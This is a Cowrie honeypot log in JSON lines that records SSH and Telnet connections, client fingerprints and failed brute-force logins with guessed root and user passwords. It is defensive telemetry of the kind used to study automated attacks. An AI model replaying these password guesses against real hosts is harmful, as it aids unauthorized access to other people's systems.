{"eventid":"cowrie.login.failed","username":"user","password":"14011979","message":"login attempt [user/14011979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:35.353966Z","src_ip":"2.57.121.25","session":"2f84929f46f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131286","message":"login attempt [user/131286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:36.463499Z","src_ip":"2.57.121.25","session":"2f84929f46f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13121993","message":"login attempt [user/13121993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:37.572348Z","src_ip":"2.57.121.25","session":"2f84929f46f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.83409404754639,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:38.495972Z","src_ip":"69.4.83.194","session":"8195296d469c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"131191","message":"login attempt [user/131191] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:38.679235Z","src_ip":"2.57.121.25","session":"2f84929f46f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131186","message":"login attempt [user/131186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:39.787527Z","src_ip":"2.57.121.25","session":"2f84929f46f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:40.895292Z","src_ip":"2.57.121.25","session":"2f84929f46f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.906792640686035,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:42.893663Z","src_ip":"79.139.59.21","session":"7ab4ae7e2bc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36989,"dst_ip":"159.203.135.109","dst_port":22,"session":"16206723682d","protocol":"ssh","message":"New connection: 168.167.72.132:36989 (159.203.135.109:22) [session: 16206723682d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:54.484746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:54.489369Z","src_ip":"168.167.72.132","session":"16206723682d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:54.740561Z","src_ip":"168.167.72.132","session":"16206723682d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shoutcast","password":"password","message":"login attempt [shoutcast/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:55.772882Z","src_ip":"168.167.72.132","session":"16206723682d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:57.026763Z","src_ip":"168.167.72.132","session":"16206723682d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":48174,"dst_ip":"159.203.135.109","dst_port":22,"session":"56bd34cbd97f","protocol":"ssh","message":"New connection: 103.15.222.183:48174 (159.203.135.109:22) [session: 56bd34cbd97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:14:33.766367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:14:33.770687Z","src_ip":"103.15.222.183","session":"56bd34cbd97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:14:34.020528Z","src_ip":"103.15.222.183","session":"56bd34cbd97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6y5t4r3e2w1q","message":"login attempt [root/6y5t4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:14:34.777629Z","src_ip":"103.15.222.183","session":"56bd34cbd97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:14:36.030820Z","src_ip":"103.15.222.183","session":"56bd34cbd97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":36570,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d29cd7f849","protocol":"telnet","message":"New connection: 165.22.57.101:36570 (159.203.135.109:23) [session: 95d29cd7f849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:14:50.102462Z"}
{"eventid":"cowrie.session.closed","duration":16.201311588287354,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:06.303690Z","src_ip":"165.22.57.101","session":"95d29cd7f849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":59950,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f60472a4f00","protocol":"ssh","message":"New connection: 80.66.85.226:59950 (10.17.0.5:22) [session: 0f60472a4f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:19.499468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:19.505752Z","src_ip":"80.66.85.226","session":"0f60472a4f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:19.600257Z","src_ip":"80.66.85.226","session":"0f60472a4f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578q","message":"login attempt [root/124578q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:19.883200Z","src_ip":"80.66.85.226","session":"0f60472a4f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:20.993358Z","src_ip":"80.66.85.226","session":"0f60472a4f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40980,"dst_ip":"159.203.135.109","dst_port":23,"session":"24beb2226ada","protocol":"telnet","message":"New connection: 69.4.83.194:40980 (159.203.135.109:23) [session: 24beb2226ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:33.202318Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36990,"dst_ip":"159.203.135.109","dst_port":22,"session":"037ec653caf4","protocol":"ssh","message":"New connection: 168.167.72.132:36990 (159.203.135.109:22) [session: 037ec653caf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:56.373356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:56.378295Z","src_ip":"168.167.72.132","session":"037ec653caf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:56.629554Z","src_ip":"168.167.72.132","session":"037ec653caf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234!@#$","message":"login attempt [root/Aa1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:57.667418Z","src_ip":"168.167.72.132","session":"037ec653caf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:15:58.922332Z","src_ip":"168.167.72.132","session":"037ec653caf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":50820,"dst_ip":"159.203.135.109","dst_port":22,"session":"b107a81fef2a","protocol":"ssh","message":"New connection: 103.149.170.125:50820 (159.203.135.109:22) [session: b107a81fef2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:02.731492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:02.738317Z","src_ip":"103.149.170.125","session":"b107a81fef2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:02.991320Z","src_ip":"103.149.170.125","session":"b107a81fef2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dolphins","message":"login attempt [root/dolphins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:03.748605Z","src_ip":"103.149.170.125","session":"b107a81fef2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.117470502853394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:04.319709Z","src_ip":"69.4.83.194","session":"24beb2226ada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:05.002317Z","src_ip":"103.149.170.125","session":"b107a81fef2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60800,"dst_ip":"159.203.135.109","dst_port":23,"session":"869a74a79539","protocol":"telnet","message":"New connection: 69.4.83.194:60800 (159.203.135.109:23) [session: 869a74a79539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:33.204971Z"}
{"eventid":"cowrie.session.closed","duration":0.5783970355987549,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:33.783239Z","src_ip":"69.4.83.194","session":"869a74a79539","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58844,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5bb503a7ea4","protocol":"ssh","message":"New connection: 62.133.62.83:58844 (10.17.0.5:22) [session: c5bb503a7ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:37.412674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:37.417237Z","src_ip":"62.133.62.83","session":"c5bb503a7ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:37.496093Z","src_ip":"62.133.62.83","session":"c5bb503a7ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221288","message":"login attempt [root/221288] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:37.733564Z","src_ip":"62.133.62.83","session":"c5bb503a7ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:38.815051Z","src_ip":"62.133.62.83","session":"c5bb503a7ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43716,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae9ec3dbec7b","protocol":"telnet","message":"New connection: 69.4.83.194:43716 (159.203.135.109:23) [session: ae9ec3dbec7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:16:56.008349Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":39574,"dst_ip":"159.203.135.109","dst_port":22,"session":"32fb52046cc7","protocol":"ssh","message":"New connection: 20.205.18.79:39574 (159.203.135.109:22) [session: 32fb52046cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:02.178892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:02.184639Z","src_ip":"20.205.18.79","session":"32fb52046cc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:02.401233Z","src_ip":"20.205.18.79","session":"32fb52046cc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer123.","message":"login attempt [root/Qwer123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:03.282432Z","src_ip":"20.205.18.79","session":"32fb52046cc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46548,"dst_ip":"159.203.135.109","dst_port":23,"session":"7881f2f13c6c","protocol":"telnet","message":"New connection: 69.4.83.194:46548 (159.203.135.109:23) [session: 7881f2f13c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:03.332582Z"}
